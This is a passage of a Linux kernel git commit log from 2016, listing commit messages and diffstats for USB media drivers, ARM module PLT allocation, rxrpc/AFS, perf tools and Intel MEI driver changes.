908316624fba7be9fc3ff25ab457a9d1b194b404 Author: Wolfram Sang Date: Thu Aug 11 23:03:55 2016 +0200 media: usb: hdpvr: hdpvr-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/hdpvr/hdpvr-video.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 604f517e46b1c04185e18d6ec1bc224b4032c5c8 Author: Wolfram Sang Date: Thu Aug 11 23:03:54 2016 +0200 media: usb: hackrf: hackrf: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/hackrf/hackrf.c | 1 - 1 file changed, 1 deletion(-) commit e8407a5995fed4e9fa66397808f1f2060ecf9e65 Author: Wolfram Sang Date: Thu Aug 11 23:03:53 2016 +0200 media: usb: gspca: konica: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/gspca/konica.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit b2a057b053514705c2d7b09b990def715c7f7ed8 Author: Wolfram Sang Date: Thu Aug 11 23:03:52 2016 +0200 media: usb: gspca: gspca: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/gspca/gspca.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 37fac9692fb06b4b58640b42c734671dbdcf0746 Author: Wolfram Sang Date: Thu Aug 11 23:03:51 2016 +0200 media: usb: gspca: benq: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/gspca/benq.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 9ebaee44a6c16487d5147eb15d858dee929b4fc1 Author: Wolfram Sang Date: Thu Aug 11 23:03:50 2016 +0200 media: usb: em28xx: em28xx-core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/em28xx/em28xx-core.c | 1 - 1 file changed, 1 deletion(-) commit 47cb39ebcf24907dec40a815ddd09e990bb75a7a Author: Wolfram Sang Date: Thu Aug 11 23:03:49 2016 +0200 media: usb: em28xx: em28xx-audio: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/em28xx/em28xx-audio.c | 1 - 1 file changed, 1 deletion(-) commit 5cdf8c34948e8b16fb05913a9c6d3c0be23b7e0c Author: Wolfram Sang Date: Thu Aug 11 23:03:48 2016 +0200 media: usb: dvb-usb: dib0700_core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/dvb-usb/dib0700_core.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 91fb3ee6f390832f6992b5aade1064102e0dd613 Author: Wolfram Sang Date: Thu Aug 11 23:03:47 2016 +0200 media: usb: cx231xx: cx231xx-vbi: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/cx231xx/cx231xx-vbi.c | 2 -- 1 file changed, 2 deletions(-) commit 15c0709119030ada50f279774170779d7260cb60 Author: Wolfram Sang Date: Thu Aug 11 23:03:46 2016 +0200 media: usb: cx231xx: cx231xx-core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/cx231xx/cx231xx-core.c | 4 ---- 1 file changed, 4 deletions(-) commit 1fbfc53cddf47d61c5cfb7c7dc786b8eef52bfe0 Author: Wolfram Sang Date: Thu Aug 11 23:03:45 2016 +0200 media: usb: cx231xx: cx231xx-audio: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/cx231xx/cx231xx-audio.c | 2 -- 1 file changed, 2 deletions(-) commit d41b2d5d4696ca4ba9968211d7dc24eac69964f5 Author: Wolfram Sang Date: Thu Aug 11 23:03:44 2016 +0200 media: usb: cpia2: cpia2_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/cpia2/cpia2_usb.c | 1 - 1 file changed, 1 deletion(-) commit b4d920de70cb19960e6da688cda2b4c1e0ab4ff8 Author: Wolfram Sang Date: Thu Aug 11 23:03:43 2016 +0200 media: usb: au0828: au0828-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/au0828/au0828-video.c | 1 - 1 file changed, 1 deletion(-) commit 0f578d7cc67a124b3e5e8338c51f8c1e11aeb3f0 Author: Wolfram Sang Date: Thu Aug 11 23:03:42 2016 +0200 media: usb: as102: as102_usb_drv: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/as102/as102_usb_drv.c | 2 -- 1 file changed, 2 deletions(-) commit 05476e6469740fd961bc3a3665cf2ff52548e41b Author: Wolfram Sang Date: Thu Aug 11 23:03:41 2016 +0200 media: usb: airspy: airspy: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/airspy/airspy.c | 1 - 1 file changed, 1 deletion(-) commit 5414c2d6afac4d3037fb204b8806250f983e05da Author: Wolfram Sang Date: Thu Aug 11 23:03:40 2016 +0200 media: rc: redrat3: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/rc/redrat3.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 75ee1cb92b0027cd27b433a011929c749b0bd894 Author: Wolfram Sang Date: Thu Aug 11 23:03:39 2016 +0200 media: rc: imon: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/rc/imon.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit 9b8c2b68f16d509ba04018c4729fa4df4e729329 Author: Wolfram Sang Date: Thu Aug 11 23:03:38 2016 +0200 media: radio: si470x: radio-si470x-usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/radio/si470x/radio-si470x-usb.c | 1 - 1 file changed, 1 deletion(-) commit 832fbe077cb4aacfb965adfe3d973056a012fb76 Author: Wolfram Sang Date: Thu Aug 11 23:03:37 2016 +0200 media: dvb-frontends: rtl2832_sdr: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/dvb-frontends/rtl2832_sdr.c | 1 - 1 file changed, 1 deletion(-) commit 3b1d75332ea7e397d8127b8d39d1f59ed60e49d2 Author: Anson Jacob Date: Mon Aug 22 13:11:03 2016 -0400 staging: vt6656: usbpipe.c: Fix checkpatch warning Fix checkpatch.pl warning for line over 80 characters Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6656/usbpipe.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit e7a69540e11ba30458f28764758f372d9d80abb4 Author: Randy Dunlap Date: Tue Aug 23 13:07:52 2016 -0700 staging: octeon-usb: correct driver name in Kconfig help text The module name in the Makefile and in the driver source file is octeon-hcd, so correct the Kconfig text to be the same. Signed-off-by: Randy Dunlap Cc: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon-usb/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1328f7b928e3fc41e019903a56d7253b04d7e4de Author: Dave Jones Date: Tue May 31 11:25:09 2016 -0400 usbip: vudc: Fix apparent cut-n-paste error Coverity picked up that this looks like a cut-n-paste from an almost identical sequence below that didn't get its variable renamed. Signed-off-by: Dave Jones Reviewed-by: Krzysztof Opasiak Signed-off-by: Greg Kroah-Hartman drivers/usb/usbip/vudc_dev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c9991052aedaa74c69f8198852c65a99caf1adec Author: Nariman Poushin Date: Tue Aug 30 10:30:40 2016 +0100 ASoC: arizona: Don't change the FLLn_GAIN before entering FREERUN When reclocking an active FLL, to ensure a clean transition, do not change the gain setting until we have entered free run. Signed-off-by: Nariman Poushin Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 66e94ba3c8ea5ff5f1443a50441f953ef44010b1 Author: Ard Biesheuvel Date: Thu Aug 18 10:58:49 2016 +0200 ARM: kernel: avoid brute force search on PLT generation Given that we now sort the relocation sections in a way that guarantees that entries that can share a single PLT entry end up adjacently, there is no a longer a need to go over the entire list to look for an existing entry that matches our jump target. If such a match exists, it was the last one to be emitted, so we can simply check the preceding slot. Note that this will still work correctly in the [theoretical] presence of call/jump relocations against SHN_UNDEF symbols with non-zero addends, although not optimally. Since the relocations are presented in the same order that we checked them for duplicates, any duplicates that we failed to spot the first time around will be accounted for in the PLT allocation so there is guaranteed to be sufficient space for them when actually emitting the PLT. For instance, the following sequence of relocations: 000004d8 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 000004fc 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 0000050e 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 00000520 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 00000532 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 00000544 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 00000556 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 00000568 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 0000057a 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 0000058c 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 0000059e 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 000005b0 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 000005c2 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null 000005d4 00058b0a R_ARM_THM_CALL 00000000 warn_slowpath_null may result in several PLT entries to be allocated, and also emitted, if any of the entries in the middle refer to a Place that contains a non-zero addend (i.e., one for all the preceding zero-addend relocations, one for all the following zero-addend relocations, and one for the non-zero addend relocation itself) Tested-by: Jongsung Kim Signed-off-by: Ard Biesheuvel arch/arm/kernel/module-plts.c | 60 +++++++++++++++++++++++-------------------- 1 file changed, 32 insertions(+), 28 deletions(-) commit 1031a7e674d1de481d641c3723d5f53b776f621f Author: Ard Biesheuvel Date: Wed Aug 17 13:45:21 2016 +0200 ARM: kernel: sort relocation sections before allocating PLTs The PLT allocation routines try to establish an upper bound on the number of PLT entries that will be required at relocation time, and optimize this by disregarding duplicates (i.e., PLT entries that will end up pointing to the same function). This is currently a O(n^2) algorithm, but we can greatly simplify this by - sorting the relocation section so that relocations that can use the same PLT entry will be listed adjacently, - disregard jump/call relocations with addends; these are highly unusual, for relocations against SHN_UNDEF symbols, and so we can simply allocate a PLT entry for each one we encounter, without trying to optimize away duplicates. Tested-by: Jongsung Kim Signed-off-by: Ard Biesheuvel arch/arm/kernel/module-plts.c | 98 ++++++++++++++++++++++++++++++------------- 1 file changed, 69 insertions(+), 29 deletions(-) commit 05123fef098220323e60834d5520b15d277e0415 Author: Ard Biesheuvel Date: Tue Aug 16 16:49:56 2016 +0200 ARM: kernel: allocate PLT entries only for external symbols When CONFIG_ARM_MODULE_PLTS is enabled, jump and call instructions in modules no longer need to be within 16 MB (8 MB for Thumb2) of their targets. If they are further away, a PLT entry will be generated on the fly for each of them, which extends the range to the entire 32-bit address space. However, since these PLT entries will become the branch targets of the original jump and call instructions, the PLT itself needs to be in range, or we end up in the same situation we started in. Since the PLT is in a separate section, this essentially means that all jumps and calls inside the same module must be resolvable without PLT entries. The PLT allocation code executes before the module itself is loaded in its final location, and so it has to use a worst-case estimate for which jumps and calls will require an entry in the PLT at relocation time. As an optimization, this code deduplicates entries pointing to the same symbol, using a O(n^2) algorithm. However, it does not take the above into account, i.e., that PLT entries will only be needed for jump and call relocations against symbols that are not defined in the module. So disregard relocations against symbols that are defined in the module itself. As an additional minor optimization, ignore input sections that lack the SHF_EXECINSTR flag. Since jump and call relocations operate on executable instructions only, there is no need to look in sections that do not contain executable code. Tested-by: Jongsung Kim Signed-off-by: Ard Biesheuvel arch/arm/kernel/module-plts.c | 49 ++++++++++++++++++++++++++++++++----------- 1 file changed, 37 insertions(+), 12 deletions(-) commit 35fa91eed817d2c65c59ef5a9737011313be6ac0 Author: Ard Biesheuvel Date: Tue Aug 16 17:21:02 2016 +0200 ARM: kernel: merge core and init PLTs The PLT code uses a separate .init.plt section to allocate PLT entries for jump and call instructions in __init code. However, even for fairly sizable modules like mac80211.ko, we only end up with a couple of PLT entries in the .init section, and so we can simplify the code significantly by emitting all PLT entries into the same section. Tested-by: Jongsung Kim Signed-off-by: Ard Biesheuvel arch/arm/include/asm/module.h | 6 ++-- arch/arm/kernel/module-plts.c | 68 ++++++++++++++----------------------------- arch/arm/kernel/module.lds | 3 +- 3 files changed, 25 insertions(+), 52 deletions(-) commit 94914fc8046c907c2f175c28bea9c6aff0b118ac Author: Guodong Xu Date: Thu Aug 25 11:00:41 2016 +0800 arm64: dts: hi6220: add resets property into dwmmc nodes Add resets property into dwmmc_0, dwmmc_1 and dwmmc_2 for hi6220 Code and documentation to this property were confirmed by maintainers. See: [1] https://patchwork.kernel.org/patch/9276607/ [2] https://patchwork.kernel.org/patch/8487151/ [3] https://lkml.org/lkml/2016/8/12/91 cc: Jaehoon Chung cc: Rob Herring Signed-off-by: Guodong Xu Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220.dtsi | 3 +++ 1 file changed, 3 insertions(+) commit 8f5203abdc8f30a938910bfe2bd3a82bbbf2cdea Author: Guodong Xu Date: Thu Aug 25 11:00:40 2016 +0800 arm64: dts: hikey: extend default cma size to 128MB To support display in Debian on HiKey, cma heap is used to allocate graphic buffers. The default size of CMA is 16 MB which is not enough. Increase the default CMA size to 128 MB. cc: Fathi Boudra cc: John Stultz cc: Xinliang Liu Signed-off-by: Guodong Xu Acked-by: Rob Herring Signed-off-by: Wei Xu arch/arm64/boot/dts/hisilicon/hi6220-hikey.dts | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit cddb4800162e543c202cbb05795a324f1093d168 Author: Philipp Zabel Date: Thu Jul 28 15:36:37 2016 +0200 reset: hi6220: allow to compile test driver on other architectures Also remove the RESET_CONTROLLER dependency, this Kconfig file is included inside the menuconfig already. Cc: Chen Feng Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Makefile | 2 +- drivers/reset/hisilicon/Kconfig | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) commit 6f51b860076995d290810cd5fdc00afbbe36ca28 Author: Philipp Zabel Date: Tue Aug 9 09:28:54 2016 +0200 reset: zynq: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Cc: Moritz Fischer Cc: Sören Brinkmann Acked-by: Michal Simek Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit 4de48af663d88d8c9a2550e60725f5a5c660970b Author: David Howells Date: Tue Aug 30 12:00:48 2016 +0100 rxrpc: Pass struct socket * to more rxrpc kernel interface functions Pass struct socket * to more rxrpc kernel interface functions. They should be starting from this rather than the socket pointer in the rxrpc_call struct if they need to access the socket. I have left: rxrpc_kernel_is_data_last() rxrpc_kernel_get_abort_code() rxrpc_kernel_get_error_number() rxrpc_kernel_free_skb() rxrpc_kernel_data_consumed() unmodified as they're all about to be removed (and, in any case, don't touch the socket). Signed-off-by: David Howells Documentation/networking/rxrpc.txt | 11 ++++++++--- fs/afs/rxrpc.c | 26 +++++++++++++++----------- include/net/af_rxrpc.h | 10 +++++++--- net/rxrpc/af_rxrpc.c | 5 +++-- net/rxrpc/output.c | 20 +++++++++++--------- 5 files changed, 44 insertions(+), 28 deletions(-) commit ea82aaec9879e4df307ccbbf26491a8e0a52e4f1 Author: David Howells Date: Tue Aug 30 12:36:06 2016 +0100 rxrpc: Use call->peer rather than going to the connection Use call->peer rather than call->conn->params.peer as call->conn may become NULL. Signed-off-by: David Howells net/rxrpc/call_event.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 8324f0bcfbfc645cf248e4b93ab58341b7d3b135 Author: David Howells Date: Tue Aug 30 09:49:29 2016 +0100 rxrpc: Provide a way for AFS to ask for the peer address of a call Provide a function so that kernel users, such as AFS, can ask for the peer address of a call: void rxrpc_kernel_get_peer(struct rxrpc_call *call, struct sockaddr_rxrpc *_srx); In the future the kernel service won't get sk_buffs to look inside. Further, this allows us to hide any canonicalisation inside AF_RXRPC for when IPv6 support is added. Also propagate this through to afs_find_server() and issue a warning if we can't handle the address family yet. Signed-off-by: David Howells Documentation/networking/rxrpc.txt | 7 +++++++ fs/afs/cmservice.c | 20 +++++++++++--------- fs/afs/internal.h | 5 ++++- fs/afs/rxrpc.c | 2 +- fs/afs/server.c | 11 ++++++++--- include/net/af_rxrpc.h | 2 ++ net/rxrpc/peer_object.c | 15 +++++++++++++++ 7 files changed, 48 insertions(+), 14 deletions(-) commit e0661dfc5961cf14f255fa5466041a961ca2ebdf Author: David Howells Date: Tue Aug 30 16:05:14 2016 +0100 afs: Need linux/random.h We should #include linux/random.h to use get_random(). Signed-off-by: David Howells fs/afs/main.c | 1 + 1 file changed, 1 insertion(+) commit 378c9c9603a48135336f9440995e5a342fbc5afa Author: David Howells Date: Tue Aug 30 09:49:29 2016 +0100 afs: Miscellaneous simple cleanups Remove one #ifndef'd-out variable and a couple of excessive blank lines. Signed-off-by: David Howells fs/afs/cmservice.c | 6 ------ 1 file changed, 6 deletions(-) commit e34d4234b0b77a8a8b6dd7cf29aff468c288d9e4 Author: David Howells Date: Tue Aug 30 09:49:29 2016 +0100 rxrpc: Trace rxrpc_call usage Add a trace event for debuging rxrpc_call struct usage. Signed-off-by: David Howells include/trace/events/rxrpc.h | 39 +++++++++++++++++++ net/rxrpc/ar-internal.h | 19 +++------- net/rxrpc/call_accept.c | 5 ++- net/rxrpc/call_event.c | 11 +++--- net/rxrpc/call_object.c | 90 ++++++++++++++++++++++++++++++++++++++++---- net/rxrpc/conn_client.c | 1 + net/rxrpc/conn_event.c | 1 + net/rxrpc/input.c | 4 +- net/rxrpc/output.c | 1 + net/rxrpc/peer_event.c | 1 + net/rxrpc/recvmsg.c | 1 + net/rxrpc/skbuff.c | 4 +- 12 files changed, 143 insertions(+), 34 deletions(-) commit f5c17aaeb2aee9b6c30d082bbe652a7e5589adff Author: David Howells Date: Tue Aug 30 09:49:28 2016 +0100 rxrpc: Calls should only have one terminal state Condense the terminal states of a call state machine to a single state, plus a separate completion type value. The value is then set, along with error and abort code values, only when the call is transitioned to the completion state. Helpers are provided to simplify this. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 116 +++++++++++++++++++++++++++++++++++++----------- net/rxrpc/call_accept.c | 19 +++----- net/rxrpc/call_event.c | 42 +++++++----------- net/rxrpc/call_object.c | 43 +++++++----------- net/rxrpc/conn_client.c | 2 +- net/rxrpc/conn_event.c | 50 ++++++++++----------- net/rxrpc/conn_object.c | 4 +- net/rxrpc/input.c | 68 ++++++++++++++-------------- net/rxrpc/output.c | 27 +++++------ net/rxrpc/peer_event.c | 24 ++++++---- net/rxrpc/proc.c | 3 +- net/rxrpc/recvmsg.c | 12 +++-- 12 files changed, 226 insertions(+), 184 deletions(-) commit ccbd3dbe85e1445231a7e0da2dada130cedce9d0 Author: David Howells Date: Tue Aug 30 09:49:28 2016 +0100 rxrpc: Fix a potential NULL-pointer deref in rxrpc_abort_calls The call pointer in a channel on a connection will be NULL if there's no active call on that channel. rxrpc_abort_calls() needs to check for this before trying to take the call's state_lock. Signed-off-by: David Howells net/rxrpc/conn_event.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit b55cc4ed202175777690860c482ca2ae5184458e Author: Arnaldo Carvalho de Melo Date: Tue Aug 30 11:15:59 2016 -0300 perf symbols: Rename ->ignore to ->idle Since this is the only use thus far, and this mechanism is in place for a long time. To clarify why symbols should be skipped or treated differently, name it for the only use it has. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-oqpf82x2svir611ry15paufd@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-top.c | 4 ++-- tools/perf/util/evsel_fprintf.c | 4 ++-- tools/perf/util/symbol.h | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) commit b01141f4f59ce56e5ed177a1fc70b3ba4d676aca Author: Arnaldo Carvalho de Melo Date: Thu Aug 25 16:09:21 2016 -0300 perf annotate: Initialize the priv are in symbol__new() We need to initializa some fields (right now just a mutex) when we allocate the per symbol annotation struct, so do it at the symbol constructor instead of (ab)using the filter mechanism for that. This way we remove one of the few cases we have for that symbol filter, which will eventually led to removing it. Cc: Adrian Hunter Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-cvz34avlz1lez888lob95390@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-annotate.c | 7 ++++--- tools/perf/builtin-report.c | 6 +++--- tools/perf/builtin-top.c | 4 +++- tools/perf/util/annotate.c | 7 ------- tools/perf/util/annotate.h | 1 - tools/perf/util/symbol.c | 25 ++++++++++++++++++++++++- tools/perf/util/symbol.h | 3 +++ 7 files changed, 37 insertions(+), 16 deletions(-) commit 4b30950252265140139ce441fd7d8743d1d6052e Author: Jonathan Liu Date: Tue Aug 30 16:55:00 2016 +1000 drm/sun4i: rgb: add missing calls to drm_panel_{prepare,unprepare} If the enable-gpios property of a simple panel in device tree is set, the GPIO is not toggled on/off because of missing calls to drm_panel_prepare and drm_panel_unprepare. Signed-off-by: Jonathan Liu Signed-off-by: Maxime Ripard drivers/gpu/drm/sun4i/sun4i_rgb.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 069b188f43d9a44422eb35a8f95533d2c44ad315 Author: Chris Metcalf Date: Thu Jul 28 15:07:04 2016 -0400 tile-srom: avoid krealloc(... __GFP_ZERO) pattern Joe Perches points out [1] that this pattern isn't currently safe. This driver doesn't really need the zeroing semantic anyway; by restructuring the code slightly we can initialize all the fields of the structure up front instead. [1] https://lkml.kernel.org/r/1469729491.3998.58.camel@perches.com Signed-off-by: Chris Metcalf Signed-off-by: Greg Kroah-Hartman drivers/char/tile-srom.c | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) commit acde785e492d6ce838f50937f7547124e0837a55 Author: Muhammad Falak R Wani Date: Sat May 21 18:41:38 2016 +0530 misc: mic: scif: use vma_pages(). Replace explicit computation of vma page count by a call to vma_pages() Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/misc/mic/scif/scif_mmap.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b6faae97a157a7d3d3ab7f806e85059ca075e1b5 Author: Alexandre Belloni Date: Sun May 22 15:39:19 2016 +0200 Documentation: mic: fix kernel version v3.20 doesn't exist. heartbeat_enable was actually added in v4.4. Signed-off-by: Alexandre Belloni Signed-off-by: Greg Kroah-Hartman Documentation/ABI/testing/sysfs-class-mic.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9d32f82e040a823a584446cd9a7066390bf911fa Author: Arnd Bergmann Date: Thu Jun 16 13:38:24 2016 +0200 mic: remove unused function arg When building with W=1, the __scif_rma_destroy_tcw function causes a harmless warning about an argument variable that is modified but not used: drivers/misc/mic/scif/scif_dma.c: In function ‘__scif_rma_destroy_tcw’: drivers/misc/mic/scif/scif_dma.c:118:27: error: parameter ‘ep’ set but not used [-Werror=unused-but-set-parameter] In this case, we can just remove the argument, since all callers are in the same file. Signed-off-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/misc/mic/scif/scif_dma.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e728ae271f4cf71218ec06a6daf61b79466cb466 Author: Alexander Usyskin Date: Tue Jul 26 01:06:09 2016 +0300 mei: amthif: fix deadlock in initialization during a reset The device lock was unnecessary obtained in bus rescan work before the amthif client search. That causes incorrect lock ordering and task hang: ... [88004.613213] INFO: task kworker/1:14:21832 blocked for more than 120 seconds. ... [88004.645934] Workqueue: events mei_cl_bus_rescan_work ... The correct lock order is cl_bus_lock device_lock me_clients_rwsem Move device_lock into amthif init function that called after me_clients_rwsem is released. This fixes regression introduced by commit: commit 025fb792bac3 ("mei: split amthif client init from end of clients enumeration") Cc: # 4.6+ Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 12 +++++++++--- drivers/misc/mei/bus.c | 2 -- 2 files changed, 9 insertions(+), 5 deletions(-) commit 80293c47a6774848c72a2f79816b7de1769c5e85 Author: Alexander Usyskin Date: Tue Jul 26 01:06:08 2016 +0300 mei: drop unused file transaction states Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/mei_dev.h | 3 --- 1 file changed, 3 deletions(-) commit 9d27e73c1897c17e535987a4758fddb7a2fe1fd3 Author: Alexander Usyskin Date: Tue Jul 26 01:06:07 2016 +0300 mei: amthif: drop mei_amthif_read mei_amthif_read have only one difference from mei_read, it is not calling mei_read_start(). Make mei_read_start return immediately for amthif client and drop the special mei_amthif_read function. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 100 --------------------------------------------- drivers/misc/mei/client.c | 2 +- drivers/misc/mei/main.c | 5 --- drivers/misc/mei/mei_dev.h | 3 -- 4 files changed, 1 insertion(+), 109 deletions(-) commit ff1586a7ea57a4758a3f10ad7c9cdb26edcbd7f3 Author: Alexander Usyskin Date: Tue Jul 26 01:06:06 2016 +0300 mei: enqueue consecutive reads The FW supports only one pending read per host client, in order to support issuing of consecutive reads the driver queues read requests internally and send them to the firmware after pending one has completed. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/interrupt.c | 3 +++ drivers/misc/mei/main.c | 39 +++++++++++++++++++-------------------- 2 files changed, 22 insertions(+), 20 deletions(-) commit 3030dc056459439d756d81a920e135893076a348 Author: Tomas Winkler Date: Tue Jul 26 01:06:05 2016 +0300 mei: add wrapper for queuing control commands. Enclose the boiler plate code of allocating a control/hbm command cb and enqueueing it onto ctrl_wr.list in a convenient wrapper mei_cl_enqueue_ctrl_wr_cb(). This is a preparatory patch for enabling consecutive reads. Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 7 ++--- drivers/misc/mei/bus.c | 4 +-- drivers/misc/mei/client.c | 78 ++++++++++++++++++++++++++++++----------------- drivers/misc/mei/client.h | 5 +-- drivers/misc/mei/hbm.c | 4 +-- drivers/misc/mei/main.c | 2 +- 6 files changed, 61 insertions(+), 39 deletions(-) commit 4034b81ba38967ad0056781572a9d9a95d39f02e Author: Tomas Winkler Date: Tue Jul 26 01:06:04 2016 +0300 mei: use consistent naming for TX control flow credits With the introduction of the receive control flow credits prefixed with rx_ we add tx_ prefix to the variables and function used for tracking the transmit control flow credits. Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/client.c | 39 +++++++++++++++++++-------------------- drivers/misc/mei/hbm.c | 41 ++++++++++++++++++++--------------------- drivers/misc/mei/mei_dev.h | 8 ++++---- 3 files changed, 43 insertions(+), 45 deletions(-) commit 46978ada7dc669bf13f860798664b587dbc05ce5 Author: Alexander Usyskin Date: Tue Jul 26 01:06:03 2016 +0300 mei: rx flow control counter Use RX flow control counter in the host client structure to track the number of simultaneous outstanding reads. This eliminates search in queues and makes ground for enabling for parallel read. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 1 + drivers/misc/mei/client.c | 40 +++++++++++++--------------------------- drivers/misc/mei/mei_dev.h | 4 ++-- 3 files changed, 16 insertions(+), 29 deletions(-) commit e51dfa5a7f89b2c96371559b0c9772fd41376464 Author: Alexander Usyskin Date: Tue Jul 26 01:06:02 2016 +0300 mei: prepare read cb for fixed address clients on the receive path only. The read callbacks for the fixed address clients, that don't have flow control are built now on the receive path. In order to have a single allocation place we remove the allocation from the read request. Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/client.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit dfe5f753d06a4eaf362872a7f30aabe5f5fc968c Author: Alexander Usyskin Date: Tue Jul 26 